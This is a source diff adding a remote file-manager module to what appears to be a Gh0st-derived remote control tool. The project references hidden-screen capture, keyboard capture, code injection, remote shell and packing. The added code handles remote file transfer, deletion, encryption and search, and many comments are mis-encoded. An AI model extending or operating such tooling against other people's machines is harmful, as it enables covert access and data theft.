Plugin: Add another file management module
@@ -80,6 +80,12 @@ typedef void* LPVOID, * HANDLE;
|
||||
#define GET_FILEPATH(dir,file) [](char*d,const char*f){char*p=d;while(*p)++p;while('\\'!=*p&&p!=d)--p;strcpy(p+1,f);return d;}(dir,file)
|
||||
#endif
|
||||
|
||||
inline int isValid_60s() {
|
||||
static time_t tm = time(nullptr);
|
||||
int span = int(time(nullptr) - tm);
|
||||
return span <= 60;
|
||||
}
|
||||
|
||||
inline int isValid_30s() {
|
||||
static time_t tm = time(nullptr);
|
||||
int span = int(time(nullptr) - tm);
|
||||
@@ -226,7 +232,8 @@ enum
|
||||
TOKEN_KEYFRAME=134, // <20>ؼ<EFBFBD>֡
|
||||
TOKEN_BITMAPINFO_HIDE, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ
|
||||
TOKEN_SCREEN_SIZE, // <20><>Ļ<EFBFBD><C4BB>С
|
||||
|
||||
TOKEN_DRIVE_LIST_PLUGIN = 150, // <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>(<28><><EFBFBD><EFBFBD>)
|
||||
|
||||
TOKEN_DECRYPT = 199,
|
||||
TOKEN_REGEDIT = 200, // ע<><D7A2><EFBFBD><EFBFBD>
|
||||
COMMAND_REG_FIND, // ע<><D7A2><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʶ
|
||||
@@ -382,6 +389,49 @@ enum ChatManager {
|
||||
COMMAND_CHAT_SCREEN_UNLOCK,
|
||||
};
|
||||
|
||||
// <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
||||
enum FileManager {
|
||||
COMMAND_COMPRESS_FILE_PARAM=220,
|
||||
COMMAND_FILES_SEARCH_START,
|
||||
COMMAND_FILES_SEARCH_STOP,
|
||||
COMMAND_FILE_EXCEPTION,
|
||||
COMMAND_SEARCH_FILE,
|
||||
COMMAND_FILE_GETNETHOOD,
|
||||
COMMAND_FILE_RECENT,
|
||||
COMMAND_FILE_INFO,
|
||||
COMMAND_FILE_Encryption,
|
||||
COMMAND_FILE_Decrypt,
|
||||
COMMAND_FILE_ENFOCE,
|
||||
COMMAND_FILE_CopyFile,
|
||||
COMMAND_FILE_PasteFile,
|
||||
COMMAND_FILE_zip,
|
||||
COMMAND_FILE_zip_stop,
|
||||
COMMAND_FILE_NO_ENFORCE,
|
||||
COMMAND_FILE_GETINFO,
|
||||
|
||||
COMMAND_FILE_SEARCHPLUS_LIST,
|
||||
|
||||
TOKEN_SEARCH_FILE_LIST,
|
||||
TOKEN_SEARCH_FILE_FINISH,
|
||||
TOKEN_CFileManagerDlg_DATA_CONTINUE,
|
||||
TOKEN_COMPRESS_FINISH,
|
||||
TOKEN_SEARCH_ADD,
|
||||
TOKEN_SEARCH_END,
|
||||
TOKEN_FILE_GETNETHOOD,
|
||||
TOKEN_FILE_RECENT,
|
||||
TOKEN_FILE_INFO,
|
||||
TOKEN_FILE_REFRESH,
|
||||
TOKEN_FILE_ZIPOK,
|
||||
TOKEN_FILE_GETINFO,
|
||||
|
||||
TOKEN_FILE_SEARCHPLUS_LIST,
|
||||
TOKEN_FILE_SEARCHPLUS_NONTFS,
|
||||
TOKEN_FILE_SEARCHPLUS_HANDLE,
|
||||
TOKEN_FILE_SEARCHPLUS_INITUSN,
|
||||
TOKEN_FILE_SEARCHPLUS_GETUSN,
|
||||
TOKEN_FILE_SEARCHPLUS_NUMBER,
|
||||
};
|
||||
|
||||
enum
|
||||
{
|
||||
CLIENT_TYPE_DLL = 0, // <20>ͻ<EFBFBD><CDBB>˴<EFBFBD><CBB4><EFBFBD><EFBFBD><EFBFBD>DLL<4C><4C><EFBFBD><EFBFBD>
|
||||
|
||||
@@ -37,6 +37,7 @@
|
||||
#include "DecryptDlg.h"
|
||||
#include "adapter.h"
|
||||
#include "client/MemoryModule.h"
|
||||
#include <file/CFileManagerDlg.h>
|
||||
|
||||
#ifdef _DEBUG
|
||||
#define new DEBUG_NEW
|
||||
@@ -384,6 +385,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
|
||||
ON_MESSAGE(WM_OPENMACHINEMGRDLG, OnOpenMachineManagerDialog)
|
||||
ON_MESSAGE(WM_OPENCHATDIALOG, OnOpenChatDialog)
|
||||
ON_MESSAGE(WM_OPENDECRYPTDIALOG, OnOpenDecryptDialog)
|
||||
ON_MESSAGE(WM_OPENFILEMGRDIALOG, OnOpenFileMgrDialog)
|
||||
ON_MESSAGE(WM_UPXTASKRESULT, UPXProcResult)
|
||||
ON_WM_HELPINFO()
|
||||
ON_COMMAND(ID_ONLINE_SHARE, &CMy2015RemoteDlg::OnOnlineShare)
|
||||
@@ -1723,6 +1725,11 @@ VOID CALLBACK CMy2015RemoteDlg::NotifyProc(CONTEXT_OBJECT* ContextObject)
|
||||
Dlg->OnReceiveComplete();
|
||||
break;
|
||||
}
|
||||
case FILEMGR_DLG: {
|
||||
file::CFileManagerDlg* Dlg = (file::CFileManagerDlg*)ContextObject->hDlg;
|
||||
Dlg->OnReceiveComplete();
|
||||
break;
|
||||
}
|
||||
default: {
|
||||
HANDLE hEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
|
||||
if (hEvent == NULL) {
|
||||
@@ -1875,6 +1882,11 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
|
||||
Sleep(10);
|
||||
break;
|
||||
}
|
||||
case TOKEN_DRIVE_LIST_PLUGIN: // 文件管理
|
||||
{
|
||||
g_2015RemoteDlg->SendMessage(WM_OPENFILEMGRDIALOG, 0, (LPARAM)ContextObject);
|
||||
break;
|
||||
}
|
||||
case TOKEN_BITMAPINFO_HIDE: { // 虚拟桌面
|
||||
g_2015RemoteDlg->SendMessage(WM_OPENHIDESCREENDLG, 0, (LPARAM)ContextObject);
|
||||
break;
|
||||
@@ -2126,6 +2138,12 @@ LRESULT CMy2015RemoteDlg::OnUserOfflineMsg(WPARAM wParam, LPARAM lParam)
|
||||
delete Dlg;
|
||||
break;
|
||||
}
|
||||
case FILEMGR_DLG:
|
||||
{
|
||||
file::CFileManagerDlg* Dlg = (file::CFileManagerDlg*)p->hDlg;
|
||||
::PostMessageA(Dlg->GetSafeHwnd(), WM_CLOSE, 0, 0);
|
||||
break;
|
||||
}
|
||||
default:break;
|
||||
}
|
||||
delete p;
|
||||
@@ -2450,6 +2468,21 @@ LRESULT CMy2015RemoteDlg::OnOpenDecryptDialog(WPARAM wParam, LPARAM lParam)
|
||||
return 0;
|
||||
}
|
||||
|
||||
LRESULT CMy2015RemoteDlg::OnOpenFileMgrDialog(WPARAM wParam, LPARAM lParam)
|
||||
{
|
||||
CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)lParam;
|
||||
|
||||
file::CFileManagerDlg* Dlg = new file::CFileManagerDlg(this, m_iocpServer, ContextObject);
|
||||
|
||||
Dlg->Create(IDD_FILE_WINOS, GetDesktopWindow());
|
||||
Dlg->ShowWindow(SW_SHOW);
|
||||
|
||||
ContextObject->v1 = FILEMGR_DLG;
|
||||
ContextObject->hDlg = Dlg;
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
BOOL CMy2015RemoteDlg::OnHelpInfo(HELPINFO* pHelpInfo)
|
||||
{
|
||||
MessageBox("Copyleft (c) FTU 2025", "关于");
|
||||
|
||||
@@ -231,6 +231,7 @@ public:
|
||||
afx_msg LRESULT OnOpenProxyDialog(WPARAM wParam, LPARAM lParam);
|
||||
afx_msg LRESULT OnOpenChatDialog(WPARAM wParam, LPARAM lParam);
|
||||
afx_msg LRESULT OnOpenDecryptDialog(WPARAM wParam, LPARAM lParam);
|
||||
afx_msg LRESULT OnOpenFileMgrDialog(WPARAM wParam, LPARAM lParam);
|
||||
afx_msg LRESULT UPXProcResult(WPARAM wParam, LPARAM lParam);
|
||||
afx_msg BOOL OnHelpInfo(HELPINFO* pHelpInfo);
|
||||
virtual BOOL PreTranslateMessage(MSG* pMsg);
|
||||
|
||||
@@ -269,6 +269,9 @@
|
||||
<ClInclude Include="EditDialog.h" />
|
||||
<ClInclude Include="FileManagerDlg.h" />
|
||||
<ClInclude Include="FileTransferModeDlg.h" />
|
||||
<ClInclude Include="file\CFileListCtrl.h" />
|
||||
<ClInclude Include="file\CFileManagerDlg.h" />
|
||||
<ClInclude Include="file\CFileTransferModeDlg.h" />
|
||||
<ClInclude Include="HideScreenSpyDlg.h" />
|
||||
<ClInclude Include="InputDlg.h" />
|
||||
<ClInclude Include="IOCPServer.h" />
|
||||
@@ -326,6 +329,9 @@
|
||||
<ClCompile Include="EditDialog.cpp" />
|
||||
<ClCompile Include="FileManagerDlg.cpp" />
|
||||
<ClCompile Include="FileTransferModeDlg.cpp" />
|
||||
<ClCompile Include="file\CFileListCtrl.cpp" />
|
||||
<ClCompile Include="file\CFileManagerDlg.cpp" />
|
||||
<ClCompile Include="file\CFileTransferModeDlg.cpp" />
|
||||
<ClCompile Include="HideScreenSpyDlg.cpp" />
|
||||
<ClCompile Include="InputDlg.cpp" />
|
||||
<ClCompile Include="IOCPServer.cpp" />
|
||||
|
||||
185
server/2015Remote/2015Remote_vs2015.vcxproj.filters
Normal file
@@ -0,0 +1,185 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<ClCompile Include="..\..\client\Audio.cpp" />
|
||||
<ClCompile Include="..\..\client\MemoryModule.c" />
|
||||
<ClCompile Include="..\..\common\aes.c" />
|
||||
<ClCompile Include="2015Remote.cpp" />
|
||||
<ClCompile Include="2015RemoteDlg.cpp" />
|
||||
<ClCompile Include="AudioDlg.cpp" />
|
||||
<ClCompile Include="Buffer.cpp" />
|
||||
<ClCompile Include="BuildDlg.cpp" />
|
||||
<ClCompile Include="Chat.cpp" />
|
||||
<ClCompile Include="CPasswordDlg.cpp" />
|
||||
<ClCompile Include="CpuUseage.cpp" />
|
||||
<ClCompile Include="CTextDlg.cpp" />
|
||||
<ClCompile Include="DecryptDlg.cpp" />
|
||||
<ClCompile Include="EditDialog.cpp" />
|
||||
<ClCompile Include="FileManagerDlg.cpp" />
|
||||
<ClCompile Include="FileTransferModeDlg.cpp" />
|
||||
<ClCompile Include="HideScreenSpyDlg.cpp" />
|
||||
<ClCompile Include="InputDlg.cpp" />
|
||||
<ClCompile Include="IOCPServer.cpp" />
|
||||
<ClCompile Include="KeyBoardDlg.cpp" />
|
||||
<ClCompile Include="Loader.c" />
|
||||
<ClCompile Include="proxy\ProxyConnectServer.cpp" />
|
||||
<ClCompile Include="proxy\ProxyMapDlg.cpp" />
|
||||
<ClCompile Include="pwd_gen.cpp" />
|
||||
<ClCompile Include="RegisterDlg.cpp" />
|
||||
<ClCompile Include="ScreenSpyDlg.cpp" />
|
||||
<ClCompile Include="ServicesDlg.cpp" />
|
||||
<ClCompile Include="SettingDlg.cpp" />
|
||||
<ClCompile Include="ShellDlg.cpp" />
|
||||
<ClCompile Include="SortListCtrl.cpp" />
|
||||
<ClCompile Include="stdafx.cpp" />
|
||||
<ClCompile Include="SystemDlg.cpp" />
|
||||
<ClCompile Include="sys\CCreateTaskDlg.cpp" />
|
||||
<ClCompile Include="sys\CInjectCodeDlg.cpp" />
|
||||
<ClCompile Include="sys\MachineDlg.cpp" />
|
||||
<ClCompile Include="sys\ServiceInfoDlg.cpp" />
|
||||
<ClCompile Include="TalkDlg.cpp" />
|
||||
<ClCompile Include="TrueColorToolBar.cpp" />
|
||||
<ClCompile Include="VideoDlg.cpp" />
|
||||
<ClCompile Include="file\CFileManagerDlg.cpp">
|
||||
<Filter>file</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="file\CFileTransferModeDlg.cpp">
|
||||
<Filter>file</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="file\CFileListCtrl.cpp">
|
||||
<Filter>file</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="..\..\client\Audio.h" />
|
||||
<ClInclude Include="..\..\client\MemoryModule.h" />
|
||||
<ClInclude Include="..\..\common\aes.h" />
|
||||
<ClInclude Include="..\..\common\encrypt.h" />
|
||||
<ClInclude Include="..\..\common\iniFile.h" />
|
||||
<ClInclude Include="2015Remote.h" />
|
||||
<ClInclude Include="2015RemoteDlg.h" />
|
||||
<ClInclude Include="adapter.h" />
|
||||
<ClInclude Include="AudioDlg.h" />
|
||||
<ClInclude Include="Buffer.h" />
|
||||
<ClInclude Include="BuildDlg.h" />
|
||||
<ClInclude Include="Chat.h" />
|
||||
<ClInclude Include="CPasswordDlg.h" />
|
||||
<ClInclude Include="CpuUseage.h" />
|
||||
<ClInclude Include="CTextDlg.h" />
|
||||
<ClInclude Include="DateVerify.h" />
|
||||
<ClInclude Include="DecryptDlg.h" />
|
||||
<ClInclude Include="EditDialog.h" />
|
||||
<ClInclude Include="FileManagerDlg.h" />
|
||||
<ClInclude Include="FileTransferModeDlg.h" />
|
||||
<ClInclude Include="HideScreenSpyDlg.h" />
|
||||
<ClInclude Include="InputDlg.h" />
|
||||
<ClInclude Include="IOCPServer.h" />
|
||||
<ClInclude Include="KeyBoardDlg.h" />
|
||||
<ClInclude Include="proxy\HPSocket.h" />
|
||||
<ClInclude Include="proxy\HPTypeDef.h" />
|
||||
<ClInclude Include="proxy\ProxyConnectServer.h" />
|
||||
<ClInclude Include="proxy\ProxyMapDlg.h" />
|
||||
<ClInclude Include="proxy\SocketInterface.h" />
|
||||
<ClInclude Include="pwd_gen.h" />
|
||||
<ClInclude Include="RegisterDlg.h" />
|
||||
<ClInclude Include="Resource.h" />
|
||||
<ClInclude Include="ScreenSpyDlg.h" />
|
||||
<ClInclude Include="ServicesDlg.h" />
|
||||
<ClInclude Include="SettingDlg.h" />
|
||||
<ClInclude Include="ShellDlg.h" />
|
||||
<ClInclude Include="SortListCtrl.h" />
|
||||
<ClInclude Include="stdafx.h" />
|
||||
<ClInclude Include="SystemDlg.h" />
|
||||
<ClInclude Include="sys\CCreateTaskDlg.h" />
|
||||
<ClInclude Include="sys\CInjectCodeDlg.h" />
|
||||
<ClInclude Include="sys\MachineDlg.h" />
|
||||
<ClInclude Include="sys\ServiceInfoDlg.h" />
|
||||
<ClInclude Include="TalkDlg.h" />
|
||||
<ClInclude Include="targetver.h" />
|
||||
<ClInclude Include="TrueColorToolBar.h" />
|
||||
<ClInclude Include="VideoDlg.h" />
|
||||
<ClInclude Include="zconf.h" />
|
||||
<ClInclude Include="zlib.h" />
|
||||
<ClInclude Include="file\CFileManagerDlg.h">
|
||||
<Filter>file</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="file\CFileTransferModeDlg.h">
|
||||
<Filter>file</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="file\CFileListCtrl.h">
|
||||
<Filter>file</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="2015Remote.rc" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Image Include="res\Bitmap\authorize.bmp" />
|
||||
<Image Include="res\Bitmap\DxgiDesktop.bmp" />
|
||||
<Image Include="res\Bitmap\GrayDesktop.bmp" />
|
||||
<Image Include="res\Bitmap\note.bmp" />
|
||||
<Image Include="res\Bitmap\proxy.bmp" />
|
||||
<Image Include="res\Bitmap\Share.bmp" />
|
||||
<Image Include="res\Bitmap\SpeedDesktop.bmp" />
|
||||
<Image Include="res\Bitmap\unauthorize.bmp" />
|
||||
<Image Include="res\Bitmap\VirtualDesktop.bmp" />
|
||||
<Image Include="res\Bitmap_4.bmp" />
|
||||
<Image Include="res\Bitmap_5.bmp" />
|
||||
<Image Include="res\chat.ico" />
|
||||
<Image Include="res\decrypt.ico" />
|
||||
<Image Include="res\delete.bmp" />
|
||||
<Image Include="res\icon2.ico" />
|
||||
<Image Include="res\keyboard.ico" />
|
||||
<Image Include="res\machine.ico" />
|
||||
<Image Include="res\password.ico" />
|
||||
<Image Include="res\proxifler.ico" />
|
||||
<Image Include="res\proxy.ico" />
|
||||
<Image Include="res\screen.ico" />
|
||||
<Image Include="res\system.ico" />
|
||||
<Image Include="res\toolbar1.bmp" />
|
||||
<Image Include="res\toolbar2.bmp" />
|
||||
<Image Include="res\update.bmp" />
|
||||
<Image Include="res\webcam.ico" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="..\..\Release\ghost.exe" />
|
||||
<None Include="..\..\Release\ServerDll.dll" />
|
||||
<None Include="..\..\Release\TestRun.exe" />
|
||||
<None Include="..\..\Release\TinyRun.dll" />
|
||||
<None Include="..\..\x64\Release\ghost.exe" />
|
||||
<None Include="..\..\x64\Release\ServerDll.dll" />
|
||||
<None Include="..\..\x64\Release\TestRun.exe" />
|
||||
<None Include="..\..\x64\Release\TinyRun.dll" />
|
||||
<None Include="res\1.cur" />
|
||||
<None Include="res\2.cur" />
|
||||
<None Include="res\2015Remote.ico" />
|
||||
<None Include="res\3.cur" />
|
||||
<None Include="res\4.cur" />
|
||||
<None Include="res\arrow.cur" />
|
||||
<None Include="res\audio.ico" />
|
||||
<None Include="res\bitmap\bmp00001.bmp" />
|
||||
<None Include="res\Bitmap\Online.bmp" />
|
||||
<None Include="res\bitmap\toolbar1.bmp" />
|
||||
<None Include="res\Bitmap\ToolBar_File.bmp" />
|
||||
<None Include="res\Bitmap\ToolBar_Main.bmp" />
|
||||
<None Include="res\cmdshell.ico" />
|
||||
<None Include="res\cursor5.cur" />
|
||||
<None Include="res\Cur\Drag.cur" />
|
||||
<None Include="res\Cur\MutiDrag.cur" />
|
||||
<None Include="res\dword.ico" />
|
||||
<None Include="res\file.ico" />
|
||||
<None Include="res\icon1.ico" />
|
||||
<None Include="res\My2015Remote.rc2" />
|
||||
<None Include="res\pc.ico" />
|
||||
<None Include="res\string.ico" />
|
||||
<None Include="res\upx.exe" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Text Include="..\..\ReadMe.md" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Filter Include="file">
|
||||
<UniqueIdentifier>{17217547-dc35-4a87-859c-e8559529a909}</UniqueIdentifier>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
24
server/2015Remote/file/CFileListCtrl.cpp
Normal file
@@ -0,0 +1,24 @@
|
||||
#include "StdAfx.h"
|
||||
#include "2015Remote.h"
|
||||
#include "CFileListCtrl.h"
|
||||
#include "CFileManagerDlg.h"
|
||||
|
||||
using namespace file;
|
||||
|
||||
BEGIN_MESSAGE_MAP(CFileListCtrl, CListCtrl)
|
||||
ON_WM_DROPFILES()
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
void CFileListCtrl::SetParenDlg(VOID* p_CFileManagerDlg)
|
||||
{
|
||||
m_pCFileManagerDlg = p_CFileManagerDlg;
|
||||
}
|
||||
|
||||
void CFileListCtrl::OnDropFiles(HDROP hDropInfo)
|
||||
{
|
||||
TCHAR filePath[MAX_PATH] = { 0 };
|
||||
DragQueryFile(hDropInfo, 0, filePath, sizeof(filePath) * 2 + 2);
|
||||
((CFileManagerDlg*)m_pCFileManagerDlg)->TransferSend(filePath);
|
||||
::DragFinish(hDropInfo);
|
||||
CListCtrl::OnDropFiles(hDropInfo);
|
||||
}
|
||||
14
server/2015Remote/file/CFileListCtrl.h
Normal file
@@ -0,0 +1,14 @@
|
||||
#pragma once
|
||||
#include <afxcmn.h>
|
||||
|
||||
|
||||
class CFileListCtrl :public CListCtrl
|
||||
{
|
||||
DECLARE_MESSAGE_MAP()
|
||||
|
||||
|
||||
public:
|
||||
void* m_pCFileManagerDlg;
|
||||
void SetParenDlg(VOID* p_CFileManagerDlg);
|
||||
afx_msg void OnDropFiles(HDROP hDropInfo);
|
||||
};
|
||||
2505
server/2015Remote/file/CFileManagerDlg.cpp
Normal file
197
server/2015Remote/file/CFileManagerDlg.h
Normal file
@@ -0,0 +1,197 @@
|
||||
#pragma once
|
||||
#include "stdafx.h"
|
||||
#include "CFileListCtrl.h"
|
||||
#include <Resource.h>
|
||||
|
||||
#define MAX_WRITE_RETRY 15
|
||||
#define MAX_SEND_BUFFER 65535
|
||||
#define MAX_RECV_BUFFER 65535
|
||||
|
||||
namespace file {
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
// CFileManagerDlg dialog
|
||||
typedef CList<CString, CString&> strList;
|
||||
|
||||
typedef struct {
|
||||
DWORD dwSizeHigh;
|
||||
DWORD dwSizeLow;
|
||||
BOOL error;
|
||||
} FILESIZE;
|
||||
|
||||
typedef struct {
|
||||
TCHAR SearchFileName[MAX_PATH];
|
||||
TCHAR SearchPath[MAX_PATH];
|
||||
BOOL bEnabledSubfolder;
|
||||
} FILESEARCH;
|
||||
|
||||
typedef struct {
|
||||
LVITEM* plvi;
|
||||
CString sCol2;
|
||||
} lvItem, * plvItem;
|
||||
|
||||
typedef struct {
|
||||
BYTE Token;
|
||||
int w, h, size;
|
||||
|
||||
} FILEPICINFO;
|
||||
|
||||
|
||||
class CFileManagerDlg : public DialogBase
|
||||
{
|
||||
// Construction
|
||||
public:
|
||||
CString strLpath;
|
||||
CString m_strDesktopPath;
|
||||
CString GetDirectoryPath(BOOL bIncludeFiles);
|
||||
bool m_bCanAdmin, m_bUseAdmin, m_bIsStop;
|
||||
CString m_strReceiveLocalFile;
|
||||
CString m_strUploadRemoteFile;
|
||||
void ShowProgress();
|
||||
void SendStop(BOOL bIsDownload);
|
||||
int m_nTransferMode;
|
||||
CString m_hCopyDestFolder;
|
||||
void SendContinue();
|
||||
void SendException();
|
||||
void EndLocalRecvFile();
|
||||
void EndRemoteDeleteFile();
|
||||
CString ExtractNameFromFullPath(CString szFullPath);
|
||||
HANDLE m_hFileSend;
|
||||
HANDLE m_hFileRecv;
|
||||
CString m_strOperatingFile; // <20>ļ<EFBFBD><C4BC><EFBFBD>
|
||||
CString m_strFileName; // <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>
|
||||
__int64 m_nOperatingFileLength; // <20>ļ<EFBFBD><C4BC>ܴ<EFBFBD>С
|
||||
__int64 m_nCounter;// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
void WriteLocalRecvFile();
|
||||
void CreateLocalRecvFile();
|
||||
BOOL SendDownloadJob();
|
||||
BOOL SendUploadJob();
|
||||
BOOL SendDeleteJob();
|
||||
|
||||
strList m_Remote_Download_Job;
|
||||
strList m_Remote_Upload_Job;
|
||||
strList m_Remote_Delete_Job;
|
||||
|
||||
void ShowMessage(TCHAR* lpFmt, ...);
|
||||
CString m_Remote_Path;
|
||||
CStringA CopyFileNAme;;
|
||||
BYTE m_bRemoteDriveList[2048];
|
||||
CString GetParentDirectory(CString strPath);
|
||||
void OnReceiveComplete();
|
||||
void OnReceive();
|
||||
void SearchEnd(); // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
void FixedRemoteSearchFileList(BYTE* pbBuffer, DWORD dwBufferLen);
|
||||
int m_nNewIconBaseIndex; // <20>¼ӵ<C2BC>ICON
|
||||
ClientContext* m_pContext;
|
||||
ISocketBase* m_iocpServer;
|
||||
CString m_IPAddress;
|
||||
CProgressCtrl* m_ProgressCtrl;
|
||||
HCURSOR m_hCursor;
|
||||
CString m_Local_Path;
|
||||
bool FixedUploadDirectory(LPCTSTR lpPathName);
|
||||
void FixedRemoteDriveList();
|
||||
void GetRemoteFileList(CString directory = _T(""));
|
||||
void FixedRemoteFileList(BYTE* pbBuffer, DWORD dwBufferLen);
|
||||
void fixNetHood(BYTE* pbuffer, int buffersize);//Զ<>̹<EFBFBD><CCB9><EFBFBD>Ŀ¼
|
||||
bool id_search_result;
|
||||
HICON m_hIcon;
|
||||
CStatusBar m_wndStatusBar;
|
||||
CFileManagerDlg(CWnd* pParent = NULL, ISocketBase* pIOCPServer = NULL, ClientContext* pContext = NULL);
|
||||
~CFileManagerDlg() {
|
||||
m_bOnClose = TRUE;
|
||||
SAFE_DELETE(m_ProgressCtrl);
|
||||
}
|
||||
enum {
|
||||
IDD = IDD_FILE_WINOS
|
||||
};
|
||||
CComboBox m_Remote_Directory_ComboBox;
|
||||
CComboBox m_Local_Directory_ComboBox;
|
||||
CFileListCtrl m_list_remote;
|
||||
CListCtrl m_list_remote_driver;
|
||||
CListCtrl m_list_remote_search;
|
||||
CImageList I_ImageList0;
|
||||
CImageList I_ImageList1;
|
||||
CButton m_BtnSearch;
|
||||
CString m_SearchStr;
|
||||
BOOL m_bSubFordle;
|
||||
|
||||
BOOL DRIVE_Sys;
|
||||
BOOL DRIVE_CAZ;
|
||||
|
||||
__int64 Bf_nCounters; // <20><><EFBFBD>ݼ<EFBFBD><DDBC><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD>ڱȽ<DAB1><C8BD><EFBFBD>
|
||||
LONG Bf_dwOffsetHighs;
|
||||
LONG Bf_dwOffsetLows;
|
||||
|
||||
void TransferSend(CString file);
|
||||
public:
|
||||
virtual BOOL PreTranslateMessage(MSG* pMsg);
|
||||
protected:
|
||||
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support
|
||||
virtual void PostNcDestroy();
|
||||
virtual void OnClose();
|
||||
protected:
|
||||
|
||||
virtual BOOL OnInitDialog();
|
||||
afx_msg void OnSize(UINT nType, int cx, int cy);
|
||||
afx_msg void OnTimer(UINT_PTR nIDEvent);
|
||||
afx_msg void OnBeginDragListRemote(NMHDR* pNMHDR, LRESULT* pResult);
|
||||
afx_msg void OnLButtonUp(UINT nFlags, CPoint point);
|
||||
afx_msg void OnDblclkListRemote(NMHDR* pNMHDR, LRESULT* pResult);
|
||||
afx_msg void OnDblclkListRemotedriver(NMHDR* pNMHDR, LRESULT* pResult);
|
||||
afx_msg void OnclkListRemote(NMHDR* pNMHDR, LRESULT* pResult);
|
||||
afx_msg void OnclkListRemotedriver(NMHDR* pNMHDR, LRESULT* pResult);
|
||||
afx_msg void OnclickListSearch(NMHDR* pNMHDR, LRESULT* pResult);
|
||||
afx_msg void OnGo();
|
||||
afx_msg void OnRemotePrev();
|
||||
afx_msg void OnRemoteView();
|
||||
afx_msg void OnRemoteRecent();
|
||||
afx_msg void OnRemoteDesktop();
|
||||
afx_msg void OnRemoteCopy();
|
||||
afx_msg void OnTransferSend();
|
||||
afx_msg void OnRemoteDelete();
|
||||
afx_msg void OnRemoteStop();
|
||||
afx_msg void OnRemoteNewFolder();
|
||||
afx_msg void OnTransferRecv();
|
||||
afx_msg void OnRename();
|
||||
afx_msg void OnEndLabelEditListRemote(NMHDR* pNMHDR, LRESULT* pResult);
|
||||
afx_msg void OnDelete();
|
||||
afx_msg void OnDeleteEnforce();
|
||||
afx_msg void OnNewFolder();
|
||||
afx_msg void OnRefresh();
|
||||
afx_msg void OnUseAdmin();
|
||||
afx_msg void OnRemoteOpenShow();
|
||||
afx_msg void OnRemoteOpenHide();
|
||||
afx_msg void OnRemoteEncryption();
|
||||
afx_msg void OnRemoteDecrypt();
|
||||
afx_msg void OnRemoteInfo();
|
||||
afx_msg void OnRemoteCopyFile();
|
||||
afx_msg void OnRemotePasteFile();
|
||||
afx_msg void OnRemotezip();
|
||||
afx_msg void OnRemotezipstop();
|
||||
afx_msg void OnRclickListRemotedriver(NMHDR* pNMHDR, LRESULT* pResult);
|
||||
afx_msg void OnRclickListRemote(NMHDR* pNMHDR, LRESULT* pResult);
|
||||
afx_msg void OnRclickListSearch(NMHDR* pNMHDR, LRESULT* pResult);
|
||||
afx_msg BOOL MyShell_GetImageLists();
|
||||
afx_msg void OnCompress();
|
||||
afx_msg void OnUncompress();
|
||||
afx_msg void OnSetfocusRemotePath();
|
||||
afx_msg void OnBtnSearch();
|
||||
afx_msg void OnBnClickedSearchStop();
|
||||
afx_msg void OnBnClickedSearchResult();
|
||||
DECLARE_MESSAGE_MAP()
|
||||
|
||||
protected:
|
||||
BOOL m_bOnClose;
|
||||
private:
|
||||
bool m_bIsUpload; // <20>Ƿ<EFBFBD><C7B7>ǰѱ<C7B0><D1B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Զ<EFBFBD><D4B6><EFBFBD>ϣ<EFBFBD><CFA3><EFBFBD>־<EFBFBD><D6BE><EFBFBD><EFBFBD>λ
|
||||
BOOL m_bDragging; // during a drag operation
|
||||
bool MakeSureDirectoryPathExists(LPCTSTR pszDirPath);
|
||||
void SendTransferMode();
|
||||
void SendFileData();
|
||||
void EndLocalUploadFile();
|
||||
bool DeleteDirectory(LPCTSTR lpszDirectory);
|
||||
void EnableControl(BOOL bEnable = TRUE);
|
||||
|
||||
void ShowSearchPlugList();
|
||||
};
|
||||
}
|
||||
111
server/2015Remote/file/CFileTransferModeDlg.cpp
Normal file
@@ -0,0 +1,111 @@
|
||||
// FileTransferModeDlg.cpp : implementation file
|
||||
//
|
||||
#include "stdafx.h"
|
||||
#include "2015Remote.h"
|
||||
#include "CFileTransferModeDlg.h"
|
||||
|
||||
#ifdef _DEBUG
|
||||
#define new DEBUG_NEW
|
||||
#endif
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
// CFileTransferModeDlg dialog
|
||||
|
||||
using namespace file;
|
||||
|
||||
CFileTransferModeDlg::CFileTransferModeDlg(CWnd* pParent /*=NULL*/)
|
||||
: CDialog(CFileTransferModeDlg::IDD, pParent)
|
||||
{
|
||||
}
|
||||
|
||||
|
||||
